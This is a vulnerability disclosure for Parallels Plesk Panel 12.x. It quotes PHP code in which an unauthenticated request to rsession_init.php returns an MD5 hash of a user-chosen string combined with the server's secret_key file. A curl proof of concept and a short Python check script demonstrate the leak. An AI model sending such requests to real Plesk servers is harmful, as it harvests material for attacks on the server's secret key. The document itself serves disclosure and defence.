Parallels Plesk Panel 12.x Key Disclosure

`While auditing the source code for Parallels Plesk Panel 12.x on Linux I  
noticed the following feature that leads to leakage of the  
'/etc/psa/private/secret_key'-file in md5 format to non-authenticated users.  
  
Parallels responded that the 16byte 'secret_key' should provide sufficient  
entropy for this not being an issue.  
Soooo... even if I can control part of the salt to calculate the md5sum..?  
See for yourself.  
  
  
Code where the bug resides in:  
----  
/opt/psa/admin/htdocs/enterprise/rsession_init.php  
  
31 if ($failureRedirectUrl = get_gpc('failure_redirect_url')) {  
36 hspc_setopt('failure_redirect_url', $failureRedirectUrl);  
>37 hspc_setopt('failure_redirect_url_sign', md5($failureRedirectUrl .  
Plesk_Base_Utils_String::getCryptKey()));  
38 }  
...  
..  
/opt/psa/admin/plib/Plesk/Base/Utils/String.php  
  
363 final public static function getCryptKey() {  
...  
369 if (Os::UNIX) {  
370 self::$_cryptKey = @file_get_contents(ENCRYPT_KEY_FILE);  
..  
380 return self::$_cryptKey;  
381 }  
...  
..  
/opt/psa/admin/plib/compile_time_defaults.php  
  
12 define('ENCRYPT_KEY_FILE', "/etc/psa/private/secret_key");  
----  
  
  
Summary of bug:  
  
- user sends 1 HTTP requst to rsession_init.php on the remote server which  
contains an invalid PHPSESSIONID and a redirect URL for when the login  
fails.  
- script sets two cookies which contains the following values:  
failure_redirect_url = $failureRedirectUrl (supplied in URL)  
failure_redirect_url_sign = md5($failureRedirectUrl + contents  
/etc/psa/private/secret_key)  
  
[+] Annoying redirect loop if localhost is specified as url to to redirect  
to when login fails until cookies are cleared.  
  
  
PoC:  
root@debian7:~# #see /usr/local/psa/admin/sbin/encrypt_keygen for details  
on key generation routine  
root@debian7:~# dd if=/dev/urandom of=/etc/psa/private/secret_key bs=16  
count=1  
1+0 records in  
1+0 records out  
16 bytes (16 B) copied, 0.000183366 s, 87.3 kB/s  
  
root@debian7:~# hexdump -C /etc/psa/private/secret_key  
00000000 99 51 17 9a c6 8c 6e bd 4a 75 98 73 e2 64 fa e4  
|.Q....n.Ju.s.d..|  
  
  
$ curl -k -i -s "  
https://debian7:8443/enterprise/rsession_init.php?PHPSESSID=000000000000000000000000000000000&failure_redirect_url=w00t"|awk  
'/fail/ {print $2}'  
.  
..  
...  
failure_redirect_url=w00t;  
failure_redirect_url_sign=03ba5675030c59bf66bbc2f4d30aec61;  
  
  
root@debian7:~# ./poc.py  
03ba5675030c59bf66bbc2f4d30aec61  
  
---poc.py---  
#! /usr/bin/env python  
  
import hashlib  
import binascii  
  
with open('/etc/psa/private/secret_key') as f:  
whoops = hashlib.md5("w00t" +  
binascii.unhexlify(f.read().encode('hex'))).hexdigest()  
print whoops  
------  
  
  
In theory this bug will give you enough ammunition to calculate the  
contents of the /etc/psa/private/secret_key as we have part of the salt,  
and already know the outcome of a insecure hashing algorithm to match  
against.  
I'm glad nobody owns the amount of computing power which is required to  
abuse this bug nowadays anyhow .. :']  
  
Regards,  
  
Tim Rots  
  
The Netherlands  
  
  
`